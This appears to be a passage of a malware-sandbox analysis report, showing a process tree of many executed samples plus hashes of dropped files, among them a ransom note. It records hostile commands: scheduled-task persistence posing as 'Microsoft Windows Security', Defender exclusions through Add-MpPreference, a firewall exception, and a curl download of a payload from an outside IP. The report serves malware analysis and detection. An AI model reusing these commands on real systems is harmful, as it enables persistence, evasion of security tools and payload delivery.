                                                                                                                                                                                                                                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                            PID:36272
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                                                                                                                                                            PID:16676
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\dwm.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\System32\dwm.exe
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:36368
                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydcfdz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                              PID:33868
                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:32952
                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                PID:3176
                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\dwm.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\System32\dwm.exe
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                                                                                                                PID:36936
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\4363463463464363463463463.exe
                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                PID:37100
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\Files\out_test_sig.exe
                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Desktop\Files\out_test_sig.exe"
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:37468
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                      powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\Windows\hyper-v.exe"
                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                      PID:33648
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\systeminfo.exe
                                                                                                                                                                                                                                                                                                                      systeminfo
                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                      • Gathers system information
                                                                                                                                                                                                                                                                                                                      PID:4496
                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:37504
                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffbc33446f8,0x7ffbc3344708,0x7ffbc3344718
                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                          PID:37516
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\Files\InfluencedNervous.exe
                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Desktop\Files\InfluencedNervous.exe"
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:37628
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k copy Fail Fail.cmd & Fail.cmd & exit
                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                              PID:37796
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\Files\langla.exe
                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Desktop\Files\langla.exe"
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:37900
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "http" /tr '"C:\Users\Admin\AppData\Roaming\http.exe"' & exit
                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                  PID:38836
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                    schtasks /create /f /sc onlogon /rl highest /tn "http" /tr '"C:\Users\Admin\AppData\Roaming\http.exe"'
                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                                    PID:39192
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp433.tmp.bat""
                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                    PID:38852
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                                      timeout 3
                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                      PID:39200
                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\http.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\http.exe"
                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                        PID:40488
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Desktop\Files\ConsoleApp3.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Desktop\Files\ConsoleApp3.exe"
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:38000
                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\XClient.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\XClient.exe"
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                        PID:38132
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\XClient.exe'
                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                          PID:38716
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                          PID:42552
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Wave.exe'
                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                          PID:43024
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Wave.exe'
                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                          PID:43368
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Wave" /tr "C:\Users\Admin\AppData\Roaming\Wave.exe"
                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                                          PID:43784
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\Files\t.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Desktop\Files\t.exe"
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                          PID:38196
                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Desktop\Files\shell.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Desktop\Files\shell.exe"
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:38260
                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\Files\2.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Desktop\Files\2.exe"
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                              PID:38352
                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\Files\AllNew.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Desktop\Files\AllNew.exe"
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:38620
                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\Files\patcher.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Desktop\Files\patcher.exe"
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:39148
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c pHash.bat
                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                      PID:39280
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                        curl -o "pHash" "http://144.172.71.105:1338/nova_flow/patcher.exe?hash"
                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                          PID:39868
                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\tt.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\tt.exe"
                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                        PID:39220
                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\Files\crypteda.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Desktop\Files\crypteda.exe"
                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                          PID:39340
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\vlFXPEsxcg.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\vlFXPEsxcg.exe"
                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                              PID:39600
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Si0TDYJrJ9.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Si0TDYJrJ9.exe"
                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                PID:39680
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\Files\Launcher.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Desktop\Files\Launcher.exe"
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:39416
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\Files\fusca%20game.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Desktop\Files\fusca%20game.exe"
                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:39488
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                                                                                                                                                    netsh firewall add allowedprogram "C:\Users\Admin\Desktop\Files\fusca%20game.exe" "fusca%20game.exe" ENABLE
                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                                                                                                                                                                                                                                                    PID:40724
                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\Files\14082024.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Desktop\Files\14082024.exe"
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:39664
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Desktop\Files\Unit.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Desktop\Files\Unit.exe"
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:43916
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 43916 -s 440
                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                                                                                                        PID:43964
                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\Files\npp.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Desktop\Files\npp.exe"
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:44060
                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\624133186.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\624133186.exe
                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:45124
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                      PID:36724
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\AUDIODG.EXE 0x2f8 0x478
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:35208
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:31008
                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                          PID:13744
                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Desktop\Files\AA_v3.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Desktop\Files\AA_v3.exe" -service -lunch
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                          PID:19764
                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\Files\AA_v3.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Desktop\Files\AA_v3.exe"
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                            PID:19860
                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:8184
                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Eszop.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Roaming\Eszop.exe
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:23588
                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                              PID:17748
                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                              PID:32676
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 15608 -ip 15608
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:30928
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:38292
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 43916 -ip 43916
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:43944
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:3984
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:33340
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:33240
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Wave.exe
                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\Wave.exe
                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:31504
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Server.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp/Server.exe
                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:31476

                                                                                                                                                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                            Downloads

                                                                                                                                                                                                                                                                                                                                                                                            • C:\GET_YOUR_FILES_BACK.txt

                                                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                                                              1011B

                                                                                                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                                                                                                              01188d22b1675e3437b1418e14f4ffab

                                                                                                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                                                                                                              6e7127f3bbfce49485ed8f1acf8f697bcb952818

                                                                                                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                                                                                                              e4b3ac00a0b2eb195b26abffbc4368077384e73393e51605edda17dae05ab7f2

                                                                                                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                                                                                                              6903ae3247f32ad79c60a2062cd6a7bdbf5a7c9db1bdc43bdbef4da3396945014d30968ea4c8531a2d0c7b695f1ea36e2b8c51bb39cc6157c4096ac04a6e187d

                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\chrome.dll

                                                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                                                              676KB

                                                                                                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                                                                                                              eda18948a989176f4eebb175ce806255

                                                                                                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                                                                                                              ff22a3d5f5fb705137f233c36622c79eab995897

                                                                                                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                                                                                                              81a4f37c5495800b7cc46aea6535d9180dadb5c151db6f1fd1968d1cd8c1eeb4

                                                                                                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                                                                                                              160ed9990c37a4753fc0f5111c94414568654afbedc05308308197df2a99594f2d5d8fe511fd2279543a869ed20248e603d88a0b9b8fb119e8e6131b0c52ff85

                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata

                                                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                                                              150B

                                                                                                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                                                                                                              24937f955a4d6200c61dec8d94aaf017

                                                                                                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                                                                                                              f4f345a4cdd181fb2afdbcef4efb4c346f58eaf3

                                                                                                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                                                                                                              c692c41c4126331829360754a79491256737e3b532fd7d609ae809dfb316c85f

                                                                                                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                                                                                                              d9bb87e5322af337260e24534dd8e02ad23802b6ec7fafb3b22b95b2edd6484db836a4f14a713dcfdf832d2d1efa9993234a37948eece6e55a805075c8cca6d0

                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\9194fb5c-8402-4fa3-b968-36536caf8ef1.dmp

                                                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                                                              3.6MB

                                                                                                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                                                                                                              4ba2dddba4f0ebf6573f47e219642607

                                                                                                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                                                                                                              8fec084db34f1d5db4dc5c216fba6c5d465acf34

                                                                                                                                                                                                                                                                                                                                                                                              SHA256

